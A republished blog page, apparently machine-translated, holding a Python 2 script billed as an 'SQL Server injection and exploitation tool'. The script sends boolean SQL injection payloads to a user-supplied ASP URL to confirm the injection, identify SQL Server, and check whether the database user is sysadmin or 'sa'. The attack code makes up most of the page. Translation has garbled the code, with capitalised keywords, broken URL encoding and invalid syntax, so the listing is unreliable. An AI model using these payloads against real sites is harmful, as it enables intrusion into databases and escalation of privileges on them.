Compiling database SA User Detection solution in Python

Source: Internet
Author: User

When bored, a small program written in Python uses injection links to check whether the current database user is sa. There is no technical content.

# Code by zhaoxiaobu Email: little.bu@hotmail.com

 
  1. #-*-Coding: UTF-8 -*-
  2. From sys import exit
  3. From urllib import urlopen
  4. From string import join, strip
  5. From re import search
  6.  
  7.  
  8. Def is_sqlable ():
  9. Sql1 = "% 20and % 201 = 2"
  10. Sql2 = "% 20and % 201 = 1"
  11. Urlfile1 = urlopen (url + sql1)
  12. Urlfile2 = urlopen (url + sql2)
  13. Htmlcodes1 = urlfile1.read ()
  14. Htmlcodes2 = urlfile2.read ()
  15. If not search (judge, htmlcodes1) and search (judge, htmlcodes2 ):
  16. Print "[information] Congratulations! This URL has the injection vulnerability! \ N"
  17. Print "[information] determine whether the database is an SQL Server. Please wait ....."
  18. Is_SQLServer ()
  19. Else:
  20. Print "[Error] Are you sure this URL is usable? Try another one! \ N"
  21.  
  22. Def is_SQLServer ():
  23. SQL = "% 20and % 20 exists % 20 (select % 20 * % 20 from % 20 sysobjects )"
  24. Urlfile = urlopen (url + SQL)
  25. Htmlcodes = urlfile. read ()
  26. If not search (judge, htmlcodes ):
  27. Print "[Error] The database does not seem to be from SQL Server! \ N"
  28. Else:
  29. Print "[information] confirm it is an SQL Server database! \ N"
  30. Print "[information] starts to check the current database user permissions. Please wait ......"
  31. Is_sysadmin ()
  32.  
  33.  
  34. Def is_sysadmin ():
  35. SQL = "% 20and % 201 = (select % 20IS_SRVROLEMEMBER ('sysadmin '))"
  36. Urlfile = urlopen (url + SQL)
  37. Htmlcodes = urlfile. read ()
  38. If not search (judge, htmlcodes ):
  39. Print "[Error] the current database user does not have sysadmin permission! \ N"
  40. Else:
  41. Print "[information] the current database user has the sysadmin permission! \ N"
  42. Print "[information] Check whether the current user is SA. Please wait ......"
  43. Is_sa ()
  44.  
  45. Def is_sa ():
  46. SQL = "% 20and % 20 'sa '= (select % 20System_user )";
  47. Urlfile = urlopen (url + SQL)
  48. Htmlcodes = urlfile. read ()
  49. If not search (judge, htmlcodes ):
  50. Print "[Error] the current database user is not SA! \ N"
  51. Else:
  52. Print "[information] the current database user is SA! \ N"
  53.  
  54.  
  55.  
  56. Print "\ n #################################### ##################################### \ n"
  57. Print "^ o ^ SQL Server injection and exploitation tool ^ o ^"
  58. Print "Email: little.bu@hotmail.com \ n"
  59. Print "============================================ ======================================= ";
  60. Url = raw_input ('[info] Please enter a link that may have an injection vulnerability! \ NURL :')
  61. If url = '':
  62. Print "[Error] The provided URL must have '. asp? Xxx = 'this format"
  63. Exit (1)
  64.  
  65. Judge = raw_input ("[information] Please provide a judgment string. \ n judgment string :")
  66. If judge = '':
  67. Print "[Error] The Judgment string cannot be blank! "
  68. Exit (1)
  69.  
  70. Is_sqlable ()

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.